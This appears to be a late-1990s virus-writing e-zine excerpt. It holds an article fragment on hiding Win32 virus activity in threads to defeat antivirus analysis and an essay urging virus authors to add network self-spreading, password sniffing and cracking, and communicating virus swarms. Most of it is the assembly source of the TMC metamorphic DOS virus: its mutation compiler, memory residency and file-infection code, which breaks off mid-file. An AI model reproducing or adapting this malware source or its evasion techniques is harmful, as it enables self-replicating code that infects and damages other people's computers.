call CloseHandle ;close thread handle
jmp dword ptr [origEntryPoint];jump to original EntryPoint
threadProc: ;thread starts here
pushad ;store all registers
push 10000 ;10 000 milliseconds = 10 seconds
call Sleep ;wait 10 seconds
... ;some viral actions
popad ;restore all registers
ret ;and quit
origEntryPoint dd 402000h ;saved original entrypoint

By this we will create new thread, close its handle and jump to host program. Thread will on the background
suspend itself for 10 seconds (suspend thread from CPU time commiting), make some viral actions and
terminate itself. We suspended our thread, becoz it will be less suspicious to user (virus won't slow down the
system immediatelly).
All these algorithms r very simple and gives the AVs chance to trace them (everytime only one virus thread
runs). It also ain't very good to create many threads where still only one will be alive (such as in my
Win32.Leviathan). Much better idea is to run two or more threads "in the same" time, where one thread
cannot run without second one (and that second one cannot run without third one and so on...). It makes the
analysis much harder, if not impossible. The main idea is: let all threads be running and let operating system
synchronize them (do not synchronize them manually, becoz AV will be able to emulate it - they aren't able
to do that now, but I think they will do so after some months).

Here is an algorithm:

1. Create two threads, primary thread will pass execution to host program
2. Let first thread make 50% of some action and second thread to make next 50% of action without
synchronization
3. After everything is complete (when first thread will terminate itself, it will set flag. After two flags will be
set ...), then create another two threads, where another halfs of actions will be done and terminate
previous two threads.
4. Recursively do all of this until all viral actions will be done.

This won't be so easy to trace (also not for u :D)... this is my idea of future working of viruses. I never coded
virus using this algorithm, but I will do that. Now, it's only an idea...

Using Ring-X threads under Ring-0


Now u should know all important things about threads. All previous examples can work under all Win32
platformz - it's the most compatible way.

I also wrote article about Ring-0 and Ring-3 threads under Ring-0, which will be published in 29A#4. From
that time I didn't find anything new, so I haven't anything new to show ya here. I think it wouldn't be good to
copy whole article here, becoz that article would be shit then. Please, wait for 29A#4 releasion and u will find
there also that article. Thank you.

Advantages of threads created from Ring-0:

1. Anti-Debug
2. Anti-Heuristic
3. Residency
4. And much more...

Closin'
I hope, that u enjoyed threads and that u will implement them in your next virus. If u didn't understand
anything, then contact me at benny@post.cz and I will help ya.
Last greetingz goes to *-zine stuff, especially to Flush, Mgl and Navrhar for letting me publish this article.
Good luck in coding guys!

Benny / 29A, 1999


I agreed with Navrhar to write some real hard-core sci-fi about future of viruses that can be. I bring you some
ideas that can be really good, if you can write 'em. I have no time left for it, Navrhar has no morale anymore
for it. But all of them we solved already some time ago, but you should think about them for your own and
you can be really smashing. Thats the reason I decided to write something about it: everyone is coding yet-
another-poly-windows-pe-outlook-worm. Aren't you bored of it? All the time replicating some already present
ideas? Don't you want to develop something really new. Here we have some ideas that are userfull and
realiseable. Do it on your own...

Active internet/networking support


Did you ever thing why the worms are so successful? Because users are now more sending a emails or
uses internet instead of copying exe files to floppies for someone else. But current worms are really stupid.
They just send themself to someone else (all of todays mail worms) and hopes there is some stupid user that
will run it. Isn't it crazy? It something like writing in email: "send me to someone else, i'm a virus and i want to
be spread". Stupid, isn't it? Do you really need a stupid users? You can do many things by your own. But you
have to know how, of course.
For this reason I recomend you to study a networking a bit, some easier protocols like http, ftp, smtp, telnet.
Under windows you can do anything, you can filter 'em just like a real sniffer to get some passwords, you can
also install a sniffer and filter all the traffic on your network. If you have some jokers in your hands you can
start spreading oneself actively (not a passive as everyone does it now). You can install yourself on remote
servers, you can map someone else's disks and infect them, you can infect pages on web-server by your
own, you can take your future in your hands? So why you don't?

Self-optimizing performace
Viruses are usualy stupid - they do the same things all the time. They, for example, infects like crazy, or will
not notice that user is searching for them. But you can monitor all this, you can learn all this. How? Well, i've
seen using neural network for nothing - just to be there - but it you are wise, you can use them for real, not
wasting a space like someone else: you can learn how user acts on his computer, and you can notice then if
he has some suspection, or what is he doing! Because your virus can self-optimize himself to do that.
But not only neural nets are good for it - did you think about genetic model? Yeah, virus navrhar is ready for
it, but do not performs it. Pitty. But you can create modular structure (each of them coresponded to one
gene, for example) and ty supply a lot of other genes and let them optimize its own performace by Darwin's
evolution in the wild. It can best show you how the virus should be coded to be good - because only good
ones will surrive (you your code will be bug-free, of course).
Be inventive - era of old viruses is in the past, to be best, you have to be dynamic, adaptive, protable, and
wise.

Reentrable filetargets
It is easy to implement and is very effective - try to write all your infection routines reentrantely, so you can
combine them any way: have you ever heard about exe file beeing infected, that was inserted as an
attachment into word document (ole2 structure filesystem), that was compressed using zip, send over email,
ascii armored with base64 encoding? It is simple, and very effective. Today it is still harder to find some
suitable infection target, but it is so easy - if you can combine your access functions, you can call them
whatever way you want, and you can easily do the important things. All is needed not to have a local
variables fixed, but a dynamic. Go ahead...

Password hijacking
It is very old technique, still used by hackers and still efective. You can usualy access password files. But
they are one-way encrypted, and if you want to use some other accounts - for active inet support on some
unix servers, for example, you need to know the passwords. So you can hack them. It can be done also for
WinNT password file. Because passwords are one-way encrypted, and for verifying only a encrypted forms
are compared, all you need is to test all the words you can imagine to encrypt it and to try if it matches. Then
- goal, and you can do what you want as you know a password. But it tooks a lot of time. Well, if you are on
some users machine, you are there for weeks or even months. You can use the time when user is not using
cpu (which is usualy quite often) and test them like a hell.
Also, you can use some password files. It is not possible to take some with you, as they ar usualy some
megs long, but you can download them from the internet (easily using http protocol), or you can use some
pages downloaded from internet and test all the words there - because users usualy sets a passwords
simmilar to what they like. And they also browses pages what they like as well. So the password can be also
on them like a regular word...

Multiplatform
Last thing I want to mention is a multi-platform support. It is not yet fully supported at all. Navrhar virus and
Anarchy does it in some way but not completely. Because there are many operating subsystems (call it this
way) that gaves you opportunity to surrive. You can use them all to surf from onw target to another. For
example, it is good to be an exe-virus, as you can do many things, but documents are mostly copied, instead
of exe files. So you need a ole2 support to transfer itself elsewhere. But not only this. You can switch
yourself to vbscript, to spread itself through html. And I can continue listing these features for some time as
well, but you can guess some by your own, don't you?

Community born to communicate


Everyone thinks about virus like a single entity. But it isn't, in nowadays world when all is connected to be
able to communicate, so why viruses don't? Why not to use active copies of viruses to communicate through
internet to exchange userful infromations, genes, for example, or distrubute updates. If you can do this - it is
no more single virus but a whole community that can do wonderfull things: for example couple of entities
knows each other. If one of them dies, others will know about it - and they can brute-attack target machine to
infect it, to flood it and to crash it (easy with win ;)
A new horizonts are waiting, so don't be affraid and go straight ahead!

Flush
Hello hello guys! I got an oportunity to show you some older my program known as TMC. It means Tiny
Mutation Compiler - because it is a mutation compiler. My virii is not a hard-coded in fact but it is recompiled
for each run by a compiler from a pseudo-code given. So every time it might looks different. And it looks
different. The idea is very simple: there is no need to code large and av-proof decryptors just to permutate
your own body. That what TMC does.
But you can't change your body anyway you want. You need some rules, here in my sources, all virus
instructions are enclosed in macro brackets whose generates a pseudo-code. It contains normal opcodes
and some neccessary flags, instruction length and other info needed for linking (see my macros - they
explain it all).
For first generation a "starter" (first generation compiler) must be used, that is included too. In others, there is
only a compiler core in file which is also permutated and encrypted pseudocode. To run virus, it must be
compiled at first. Also used compiler is also written in pseudocode so it can be replicated too.

Compilation (btw: it is more like a linking than a compilation) is easy: instructions are placed whereever in
compiled buffer, connected with jumps and conditional jumps (they are followed with 3xNOP for worst case
of linking, as you know from one-pass compilation same as is here). If given chunk is a data or label, it is
remembered in linker as a label. If it is a instruction that refers it (jump or memory access), a correct address
is placed from linkere there. So instruction flow can be breaked at any point and memory-access addresses,
jump address will differ a lot. And this is body permutation, as you can see: no scanstring can be choosed,
because there is always risk of breaking instructions within scanstring, and any jumps may be placed there.
And heuristic can't wait until it is whole compiled. Thats it. Enjoy my sources and be happy.

ender

Download source code of TMC:Level_6x9 here


STARTER.ASM

jumps
code segment para public use16 'CODE'
assume cs:code, ds:code
org 100h

JMPS EQU 0FFFFh ;pravdepodobnost na rozdelenie kodu

include macros.inc

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄ
; ÚÙÚÙ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
start:
mov ds:out_block_ofs, offset out_block_table
mov ds:data_relo_ofs, offset data_relo_table
mov ds:jmp_relo_ofs, offset jmp_relo_table

mov si, offset src_startup


mov bx, offset free
call compile
mov si, offset src_vir
call compile
call link
mov word ptr cs:[free + 2], offset free
jmp free

;³ ³;
;³ ANALYZER ³;
;³ ³;

;³ Input: SI - source
;³ BX - output
;³ Output: BX - end of code

compile:
cld
mov di, offset in_block_table
xor ax, ax

next_in_block:
add si, ax
lodsb
or al, al
jz end_in_block
cmp al, M_CODE
jae code_cmd
cmp al, MAX_CODE_SIZE
jbe next_in_block
sub al, MAX_CODE_SIZE
jmp next_in_block

code_cmd:
cmp al, M_STOP
jnz no_stop
mov al, 0
jmp next_in_block

no_stop:
cmp al, M_BLOCK
jnz no_block
mov ax, si
STARTER.ASM

dec ax
stosw
mov ax, 0FFFFh
stosw
mov ax, 2
jmp next_in_block

no_block: ;M_RELO & M_J*


mov al, 2
jmp next_in_block

end_in_block:
lea ax, [di + (-(offset in_block_table))]
shr ax, 1
shr ax, 1
mov cs:num_of_blocks, ax
xor ax, ax
stosw

;³ ³;
;³ COMPILER ³;
;³ ³;

mov di, offset in_block_table


mov si, [di]
jmp first_no_find

next_block:
mov bp, cs:num_of_blocks
call rnd_max
shl ax, 1
shl ax, 1
add ax, offset in_block_table
mov di, ax

next_search_block:
add di, 4
mov si, [di]
or si, si
jnz no_last_block
mov di, offset in_block_table
mov si, [di]

no_last_block:
cmp byte ptr ds:[si], M_STOP
jnz no_stoped
cmp di, ax
jnz next_search_block
jmp no_next_block

no_stoped:
first_no_find:
cmp word ptr ds:[di+2], 0FFFFh
jz no_jmp_constr

push di
mov di, [di+2]
mov al, 0e9h
stosb
mov ax, bx
dec ax
dec ax
STARTER.ASM

sub ax, di
stosw
pop di

no_jmp_constr:
next_inst:
lodsb
cmp al, M_STOP
jz no_next_inst

cmp al, MAX_CODE_SIZE


ja no_break

push ax
mov bp, JMPS
call rnd_max
or ax, ax
pop ax
jz no_last_but_end

no_break:
cmp al, M_STOP
jz no_next_inst
cmp al, M_CODE
jae code_cmd1
cmp al, MAX_CODE_SIZE
jbe no_sub_size_data
sub al, MAX_CODE_SIZE

no_sub_size_data:
xor cx, cx
mov cl, al
push di
mov di, bx
rep movsb
mov bx, di
pop di
jmp next_inst

code_cmd1:
cmp al, M_RELO
jnz no_relo1

push di
mov di, data_relo_ofs
mov ax, bx
dec ax
dec ax
stosw
lodsw
stosw
mov data_relo_ofs, di
pop di
jmp next_inst

no_relo1:
cmp al, M_BLOCK
jnz no_block1

push di
mov di, out_block_ofs
mov ax, bx
STARTER.ASM

stosw
lodsw
stosw
mov out_block_ofs, di
cmp ax, src_src
jnz no_put_src

push si
mov di, bx
mov si, offset src
mov cx, offset src_end - offset src
rep movsb
mov bx, di
pop si

no_put_src:
pop di
lodsb
jmp no_break

no_block1: ;M_J*
push ax di
mov di, jmp_relo_ofs
mov ax, bx
stosw
lodsw
stosw
mov jmp_relo_ofs, di
pop di ax
mov [bx], al
add bx, 3
cmp al, M_J_COND
jb next_inst
inc bx
inc bx
jmp next_inst

no_last_but_end:
mov [di+2], bx
add bx, 3

no_next_inst:
dec si
mov [di], si
jmp next_block

no_next_block:
ret

;³ ³;
;³ JUMP RELOCATOR ³;
;³ ³;

link:
mov si, offset jmp_relo_table
mov cx, jmp_relo_ofs
sub cx, si
shr cx, 1
shr cx, 1

next_jmp_relo:
lodsw
STARTER.ASM

push ax
lodsw
push cx si

mov si, offset out_block_table


mov cx, out_block_ofs
sub cx, si
shr cx, 1
shr cx, 1

next_jmp_in_out:
cmp ax, [si + 2]
jz jmp_found
add si, 4
loop next_jmp_in_out

int 3
mov bp, 0DEEDh

push cs
pop ds
mov dx, offset jump_not_found
mov ah, 9
int 21h
mov ah, 4ch
int 21h

jmp_found:
mov dx, [si]
pop si cx
pop bx
mov al, [bx]
cmp al, M_J_COND
jb jmp1

sub byte ptr [bx], 0F0h - 070h


inc bx
push dx
sub dx, bx
dec dx
cmp dx, 127
jg over_jmp
cmp dx, -128
jl over_jmp
mov [bx], dl
inc bx
mov word ptr [bx], 09090h
mov byte ptr [bx+2], 090h
pop dx
jmp next_j_relo

over_jmp:
pop dx
dec bx
xor byte ptr [bx], 1
inc bx
mov byte ptr [bx], 3
inc bx
mov al, 0E9h

jmp1:
mov byte ptr [bx], al
STARTER.ASM

inc bx
sub dx, bx
dec dx
dec dx
mov [bx], dx

next_j_relo:
loop next_jmp_relo

;³ ³;
;³ DATA RELOCATOR ³;
;³ ³;

mov si, offset data_relo_table


mov cx, data_relo_ofs
sub cx, si
shr cx, 1
shr cx, 1

next_data_relo:
lodsw
push ax
lodsw
push cx si

mov si, offset out_block_table


mov cx, out_block_ofs
sub cx, si
shr cx, 1
shr cx, 1

next_data_in_out:
cmp ax, [si + 2]
jz found
add si, 4
loop next_data_in_out

int 3
mov bp, 0DEADh

push cs
pop ds
mov dx, offset data_not_found
mov ah, 9
int 21h
mov ah, 4ch
int 21h

found:
mov ax, [si]
pop si cx
pop bx
sub ax, offset free
mov [bx], ax
loop next_data_relo

ret

rnd:
push cx
in al, 40h
STARTER.ASM

mov ah, al
mov cl, al
in al, 40h
ror ax, cl
xor ax, cs:last_rnd
mov cs:last_rnd, ax
pop cx
ret

last_rnd dw 0DEADh

rnd_max:
or bp, bp
jz rnd_max_0
push dx
call rnd
; mov ax, 1
xor dx, dx
div bp
xchg ax, dx
pop dx
ret

rnd_max_0:
xor ax, ax
ret

num_of_blocks dw 0
out_block_ofs dw 0
data_relo_ofs dw 0
jmp_relo_ofs dw 0

data_not_found db 'Error in link data', 13, 10, '$'


jump_not_found db 'Error in link jump', 13, 10, '$'

include src\main.inc

in_block_table:
dd 100h dup(?)
out_block_table:
dd 100h dup(?)
data_relo_table:
dd 100h dup(?)
jmp_relo_table:
dd 100h dup(?)

free:

code ends
end start
COMPILER.INC

;DEBUG_SIZES = 1

@last_rnd EQU 2
@out_block_ofs EQU 4
@jump_relo_ofs EQU 6
@data_relo_ofs EQU 8
@num_of_blocks EQU 0ah
in_mem_ofs EQU 0ch
new_vir_size EQU 0eh

@in_block_table EQU 0010h


@out_block_table EQU @in_block_table + 104h + 4
@jump_relo_table EQU @out_block_table + 1B0h
@data_relo_table EQU @jump_relo_table + 2e0h
@free EQU @data_relo_table + 188h

;³ ³;
;³ ANALYZER ³;
;³ ³;

I< mov word ptr es:[in_mem_ofs], 0 >

I< mov word ptr es:[@out_block_ofs], @out_block_table >


I< mov word ptr es:[@jump_relo_ofs], @jump_relo_table >
I< mov word ptr es:[@data_relo_ofs], @data_relo_table >

I< lea si, [bp + 1234h] >


RELO src_src
I< push si >
I< mov bx, @free >
JUMP @compile

BLOCK @compile
I< mov di, @in_block_table >
I< xor ax, ax >
JUMP @next_in_block

BLOCK @next_in_block
I< add si, ax >
CALLL read_byte
I< or al, al >
_JZ @end_in_block
I< cmp al, M_CODE >
_JAE @code_cmd
I< cmp al, MAX_CODE_SIZE >
_JBE @next_in_block
I< sub al, MAX_CODE_SIZE >
JUMP @next_in_block

BLOCK @code_cmd
I< cmp al, M_STOP >
_JNZ @no_stop
I< mov al, 0 >
JUMP @next_in_block

BLOCK @no_stop
I< cmp al, M_BLOCK >
_JNZ @no_block
I< mov ax, si >
I< dec ax >
I< stosw >
I< mov ax, 0FFFFh >
COMPILER.INC

I< stosw >


I< mov ax, 2 >
JUMP @next_in_block

BLOCK @no_block ;M_RELO & M_J*


I< mov al, 2 >
JUMP @next_in_block

BLOCK @end_in_block
I< lea ax, [di + (-(@in_block_table))] >
ifdef DEBUG_SIZES
I< int 3 >
endif
I< shr ax, 1 >
I< shr ax, 1 >
I< mov es:[@num_of_blocks], ax >
I< xor ax, ax >
I< stosw >

;³ ³;
;³ COMPILER ³;
;³ ³;

I< mov di, @in_block_table >


I< mov si, es:[di] >
JUMP @no_stoped

BLOCK @next_block
I< push bp >
I< mov bp, es:[@num_of_blocks] >
CALLL @rnd_max
I< pop bp >
I< shl ax, 1 >
I< shl ax, 1 >
I< add ax, @in_block_table >
I< mov di, ax >
JUMP @next_search_block

BLOCK @next_search_block
I< add di, 4 >
I< mov si, es:[di] >
I< or si, si >
_JNZ @no_last_block
I< mov di, @in_block_table >
I< mov si, es:[di] >
JUMP @no_last_block

BLOCK @no_last_block
I< push ax >
CALLL read_byte
I< dec si >
I< cmp al, M_STOP >
I< pop ax >
_JNZ @no_stoped
I< cmp di, ax >
_JNZ @next_search_block
JUMP @no_next_block

BLOCK @no_stoped
I< mov ax, es:[di+2] >
I< cmp ax, 0FFFFh >
_JZ @next_inst
COMPILER.INC

I< push di >


I< mov di, ax >
I< mov al, 0e9h >
I< stosb >
I< mov ax, bx >
I< dec ax >
I< dec ax >
I< sub ax, di >
I< stosw >
I< pop di >
JUMP @next_inst

BLOCK @next_inst
CALLL read_byte
I< cmp al, M_STOP >
_JZ @no_next_inst

I< cmp al, MAX_CODE_SIZE >


_JA @no_break

I< push ax >


I< push bp >
I< mov bp, [bp + 1234h] >
RELO @JMPS
CALLL @rnd_max
I< or ax, ax >
I< pop bp >
I< pop ax >
_JZ @no_last_but_end
JUMP @no_break

BLOCK @no_break
I< cmp al, M_STOP >
_JZ @no_next_inst
I< cmp al, M_CODE >
_JAE @code_cmd1
I< cmp al, MAX_CODE_SIZE >
_JBE @no_sub_size_data
I< sub al, MAX_CODE_SIZE >
JUMP @no_sub_size_data

BLOCK @no_sub_size_data
I< xor cx, cx >
I< mov cl, al >
I< push di >
I< mov di, bx >
JUMP @copy_next_byte

BLOCK @copy_next_byte
CALLL read_byte
I< stosb >
I< dec cx >
_JNZ @copy_next_byte
I< mov bx, di >
I< pop di >
JUMP @next_inst

BLOCK @code_cmd1
I< cmp al, M_RELO >
_JNZ @no_relo1
COMPILER.INC

I< push di >


I< mov di, es:[@data_relo_ofs] >
I< mov ax, bx >
I< dec ax >
I< dec ax >
I< stosw >
CALLL read_word
I< stosw >
I< mov es:[@data_relo_ofs], di >
I< pop di >
JUMP @next_inst

BLOCK @no_relo1
I< cmp al, M_BLOCK >
_JNZ @no_block1

I< push di >


I< mov di, es:[@out_block_ofs] >
I< mov ax, bx >
I< stosw >
CALLL read_word
I< stosw >
I< mov es:[@out_block_ofs], di >
I< cmp ax, src_src >
_JNZ @no_put_src

I< push si >


I< mov di, bx >
I< lea si, [bp + 1234h] >
RELO src_src
I< mov cx, offset src_end - offset src >
I< rep movsb >
I< mov bx, di >
I< pop si >
JUMP @no_special

BLOCK @no_put_src
I< cmp ax, text_text >
_JNZ @no_put_text

I< mov ax, NO_TEXT >


I< cmp word ptr [bp + 1234h], ax >
RELO @JMPS
_JAE @no_special
CALLL read_byte
I< sub al, MAX_CODE_SIZE >
I< mov ah, 0 >
I< add si, ax >
JUMP @no_special

BLOCK @no_put_text
I< cmp ax, @JMPS >
_JNZ @no_special
I< mov ax, [bp + 1234h] >
RELO @JMPS
I< dec ax >
I< cmp ax, MIN_JMPS >
_JAE jmps_no_over
I< mov ax, MAX_JMPS >
JUMP jmps_no_over

BLOCK jmps_no_over
COMPILER.INC

I< mov es:[bx], ax >


I< add bx, 2 >
I< add si, 3 >
JUMP @no_special

BLOCK @no_special
I< pop di >
CALLL read_byte
JUMP @no_break

BLOCK @no_block1 ;M_J*


I< push ax >
I< push di >
I< mov di, es:[@jump_relo_ofs] >
I< mov ax, bx >
I< stosw >
CALLL read_word
I< stosw >
I< mov es:[@jump_relo_ofs], di >
I< pop di >
I< pop ax >
I< mov es:[bx], al >
I< add bx, 3 >
I< cmp al, M_J_COND >
_JB @next_inst
I< inc bx >
I< inc bx >
JUMP @next_inst

BLOCK @no_last_but_end
I< mov es:[di+2], bx >
I< add bx, 3 >
JUMP @no_next_inst

BLOCK @no_next_inst
I< dec si >
I< mov es:[di], si >
JUMP @next_block

BLOCK @no_next_block
I< cmp word ptr es:[in_mem_ofs], 0 >
_JNZ @link
I< pop si >
I< mov es:[in_mem_ofs], bx >
I< add si, offset src_vir - offset src_startup >
JUMP @compile

;³ ³;
;³ JUMP RELOCATOR ³;
;³ ³;

BLOCK @link
I< push es >
I< pop ds >
I< sub bx, @free >
I< mov ds:[new_vir_size], bx >

I< mov si, @jump_relo_table >


I< mov cx, ds:[@jump_relo_ofs] >
I< sub cx, si >
ifdef DEBUG_SIZES ;check out_block in es:[4]
I< int 3 >
COMPILER.INC

endif
I< shr cx, 1 >
I< shr cx, 1 >
JUMP @next_jump_relo

BLOCK @next_jump_relo
I< lodsw >
I< push ax >
I< lodsw >
I< push cx >
I< push si >

I< mov si, @out_block_table >


I< mov cx, ds:[@out_block_ofs] >
I< sub cx, si >
I< shr cx, 1 >
I< shr cx, 1 >
JUMP @next_jmp_in_out

BLOCK @next_jmp_in_out
I< cmp ax, [si + 2] >
_JZ @jmp_found
I< add si, 4 >
I< dec cx >
_JNZ @next_jmp_in_out

ifdef DEBUG
I< mov bp, 0DEEDh >
I< int 3 >
endif

BLOCK @jmp_found
I< mov dx, [si] >
I< pop si >
I< pop cx >
I< pop bx >
I< mov al, [bx] >
I< cmp al, M_J_COND >
_JB @jmp1

I< sub byte ptr [bx], 0F0h - 070h >


I< inc bx >
I< push dx >
I< sub dx, bx >
I< dec dx >
I< cmp dx, 127 >
_JG @over_jmp
I< cmp dx, -128 >
_JL @over_jmp
I< mov [bx], dl >
I< inc bx >
I< mov word ptr [bx], 09090h >
I< mov byte ptr [bx+2], 090h >
I< pop dx >
JUMP @next_j_relo

BLOCK @over_jmp
I< pop dx >
I< dec bx >
I< xor byte ptr [bx], 1 >
I< inc bx >
I< mov byte ptr [bx], 3 >
COMPILER.INC

I< inc bx >


I< mov al, 0E9h >
JUMP @jmp1

BLOCK @jmp1
I< mov byte ptr [bx], al >
I< inc bx >
I< sub dx, bx >
I< dec dx >
I< dec dx >
I< mov [bx], dx >
JUMP @next_j_relo

BLOCK @next_j_relo
I< dec cx >
_JNZ @next_jump_relo

;³ ³;
;³ DATA RELOCATOR ³;
;³ ³;

I< mov si, @data_relo_table >


I< mov cx, ds:[@data_relo_ofs] >
I< sub cx, si >
ifdef DEBUG_SIZES
I< int 3 >
endif
I< shr cx, 1 >
I< shr cx, 1 >
JUMP @next_data_relo

BLOCK @next_data_relo
I< lodsw >
I< push ax >
I< lodsw >
I< push cx >
I< push si >

I< mov si, @out_block_table >


I< mov cx, ds:[@out_block_ofs] >
I< sub cx, si >
I< shr cx, 1 >
I< shr cx, 1 >
JUMP @next_data_in_out

BLOCK @next_data_in_out
I< cmp ax, [si + 2] >
_JZ @found
I< add si, 4 >
I< dec cx >
_JNZ @next_data_in_out

ifdef DEBUG
I< mov bp, 0DEADh >
I< int 3 >
endif

BLOCK @found
I< mov ax, [si] >
I< pop si >
I< pop cx >
I< pop bx >
COMPILER.INC

I< sub ax, @free >


I< mov [bx], ax >
I< dec cx >
_JNZ @next_data_relo
JUMP end_of_compile
MAIN.INC

;DEBUG = 1

START_JMPS EQU 50
NO_TEXT EQU 20
BAD_CLEAN EQU 20
MIN_JMPS EQU 5
MAX_JMPS EQU 100

mem4compile EQU (8000d + @free) / 10h


; ^^^^ maximalny najvecsi vystupny kod

@next_in_block EQU 3000


@code_cmd EQU 3001
@no_stop EQU 3002
@no_block EQU 3003
@end_in_block EQU 3004
@next_block EQU 3005
@next_search_block EQU 3006
@no_last_block EQU 3007
@no_stoped EQU 3008
@next_inst EQU 3009
@no_break EQU 3010
@no_sub_size_data EQU 3011
@code_cmd1 EQU 3012
@no_relo1 EQU 3013
@no_put_src EQU 3014
@no_block1 EQU 3015
@no_last_but_end EQU 3016
@no_next_inst EQU 3017
@no_next_block EQU 3018
@next_jump_relo EQU 3019
@next_jmp_in_out EQU 3020
@jmp_found EQU 3021
@over_jmp EQU 3022
@jmp1 EQU 3023
@next_j_relo EQU 3024
@next_data_relo EQU 3025
@next_data_in_out EQU 3026
@found EQU 3027
@rnd EQU 3028
@rnd_max EQU 3029
@rnd_max_0 EQU 3030
@copy_next_byte EQU 3050
@no_special EQU 3051
@JMPS EQU 3052
@no_put_text EQU 3053

exit EQU 3054


save_ds EQU 3055
vir_size EQU 3056
ofs_in_mem EQU 3057

int24 EQU 6000


no_inf_int24 EQU 6001
end_of_compile EQU 6002
_old_ip EQU 6003
clean_ofajc EQU 6004
_old_inst EQU 6006

jmps_no_over EQU 3061

crypt_data EQU 3070


MAIN.INC

crypt_next_byte EQU 3071

text_text EQU 9000

xor_const EQU 3031


xor_add EQU 3032
save_ah EQU 3033

read_byte EQU 3040


read_word EQU 3041

filetype EQU 5000


old_cs EQU 5001
old_ss EQU 5002
old_ip EQU 5003
old_sp EQU 5004
exe_infect EQU 5005
set_marker EQU 5006
exe_header EQU 5007
install EQU 5008
old_entry EQU 5009
infect EQU 5010

min_mem EQU 5011


max_mem EQU 5012
old_max_mem EQU 5013
write_exeh EQU 5014
str_start EQU 5015
prepare_str EQU 5016
max_mem_FFFF EQU 5017
infect_floppy EQU 5018
no_drive_pressed EQU 5019
infect_close EQU 5020
handle EQU 5021
path EQU 5022
psp EQU 5023
push_all EQU 5024
pop_all EQU 5025
int24_seg EQU 5026
int24_ofs EQU 5027
init_int24 EQU 5028
deinit_int24 EQU 5029
call_int21 EQU 5030
infect_in_close EQU 5032
infect_and_call_int21 EQU 5033
exit_adr EQU 5034
check4handle EQU 5035
new_psp EQU 5036
ticks EQU 5037
no_short_exe EQU 5038
no_com_ojeb EQU 5039

@compile EQU 4000


@link EQU 4001

src_src EQU 1221


int21 EQU 0200
old21 EQU 0201

file_ok EQU 0240


close EQU 0250
no_inf EQU 0251
MAIN.INC

time EQU 0300


date EQU 0301

old_prog EQU 0101

_start EQU 0000


in_mem EQU 0102

old_inst EQU 8000

;============================ CODE ======================================


src:
src_startup:
BLOCK _start
; lea bp, [1234h]
I< dw 02e8dh, 1234h >
I< cld >

I< mov ax, ds >


I< mov word ptr [bp+1234h], ax >
RELO save_ds
I< dec ax >
I< mov ds, ax >
I< mov ax, word ptr ds:[3] >
I< cmp ax, 1900h >
_JB exit
I< push cs >
I< pop ds >
I< mov word ptr [bp+1234h], ax >
RELO max_mem

I< mov bx, word ptr [bp+1234h] >


RELO min_mem
I< mov ah, 4ah >
I< int 21h >
_JC exit

I< mov ah, 48h >


I< mov bx, word ptr [bp+1234h] >
RELO max_mem
I< sub bx, word ptr [bp+1234h] >
RELO min_mem
I< dec bx >
I< cmp bx, mem4compile >
_JB exit
I< int 21h >
_JC exit
I< mov es, ax >
I< add word ptr es:[@last_rnd], 06942h >

include src\compiler.inc

BLOCK end_of_compile
I< mov ax, [bp+1234h] >
RELO save_ds
I< mov cx, [bp+1234h] >
RELO old_ss
I< add cx, 10h >
I< add cx, ax >
I< push cx >
MAIN.INC

I< push word ptr [bp+1234h] >


RELO old_sp
I< mov cx, [bp+1234h] >
RELO old_cs
I< add cx, 10h >
I< add cx, ax >
I< push cx >
I< push word ptr [bp+1234h] >
RELO old_ip
I< push ax >
I< push word ptr [bp + 1234h] >
RELO old_max_mem
I< push ds >
I< mov cl, 0 >
I< cmp byte ptr [bp+1234h], cl >
RELO filetype
_JNZ install

I< lea si, [bp+1234h] >


RELO old_inst
I< mov ax, cs:[si] >
I< mov word ptr cs:[100h], ax >
I< mov al, cs:[si+2] >
I< mov byte ptr cs:[102h], al >
JUMP install

BLOCK clean_ofajc
I< mov ax, [bp+1234h] >
RELO save_ds
I< mov cx, [bp+1234h] >
RELO old_ss
I< add cx, 10h >
I< add cx, ax >
I< push cx >
I< push word ptr [bp+1234h] >
RELO old_sp
I< mov cx, [bp+1234h] >
RELO old_cs
I< add cx, 10h >
I< add cx, ax >
I< push cx >
I< push word ptr [bp+1234h] >
RELO _old_ip
I< push ax >
I< push word ptr [bp + 1234h] >
RELO old_max_mem
I< push ds >
I< mov cl, 0 >
I< cmp byte ptr [bp+1234h], cl >
RELO filetype
_JNZ install

I< lea si, [bp+1234h] >


RELO _old_inst
I< mov ax, cs:[si] >
I< mov word ptr cs:[100h], ax >
I< mov al, cs:[si+2] >
I< mov byte ptr cs:[102h], al >
JUMP install

BLOCK install
I< xor ax, ax >
MAIN.INC

I< mov ds, ax >


I< cmp byte ptr ds:[501h], 10h >
_JZ old_prog

ifndef DEBUG
I< mov byte ptr ds:[501h], 10h >
endif

I< push es >


I< pop ds >

I< mov ax, ds:[in_mem_ofs] >


I< sub ax, @free >
I< mov [bp+1234h], ax >
RELO ofs_in_mem
I< mov cx, ds:[new_vir_size] >
I< mov [bp+1234h], cx >
RELO vir_size
I< mov si, @free >
I< xor di, di >
I< rep movsb >

I< mov cl, 4 >


I< shr di, cl >
I< inc di >
I< mov bx, [bp+1234h] >
RELO max_mem
I< sub bx, [bp+1234h] >
RELO min_mem
I< sub bx, di >
I< dec bx >
I< dec bx >
I< cmp bx, di >
_JB old_prog
I< mov ah, 4ah >
I< int 21h >
_JC old_prog
I< mov bx, di >
I< mov ah, 48h >
I< int 21h >
_JC old_prog

I< dec ax >


I< mov es, ax >
I< mov word ptr es:[1], 8 >
I< inc ax >
I< mov es, ax >

I< mov cx, [bp+1234h] >


RELO vir_size
I< xor si, si >
I< xor di, di >
I< rep movsb >

I< push es >

I< push word ptr [bp + 1234h] >


RELO ofs_in_mem
I< mov al, [bp + 1234h] >
RELO xor_const
I< mov ah, [bp + 1234h] >
RELO xor_add
MAIN.INC

I< retf >

BLOCK exit
I< mov ax, 4c00h >
I< int 21h >

BLOCK @rnd
I< push cx >
I< in al, 40h >
;I< mov al, 0 >
I< mov ah, al >
I< in al, 40h >
;I< mov al, 0 >
I< xor ax, es:[@last_rnd] >
I< mov cl, ah >
I< rol ax, cl >
I< mov es:[@last_rnd], ax >
I< pop cx >
I< ret >

BLOCK @rnd_max
I< or bp, bp >
_JZ @rnd_max_0
I< push dx >
CALLL @rnd
;I< mov ax, 1 >
I< xor dx, dx >
I< div bp >
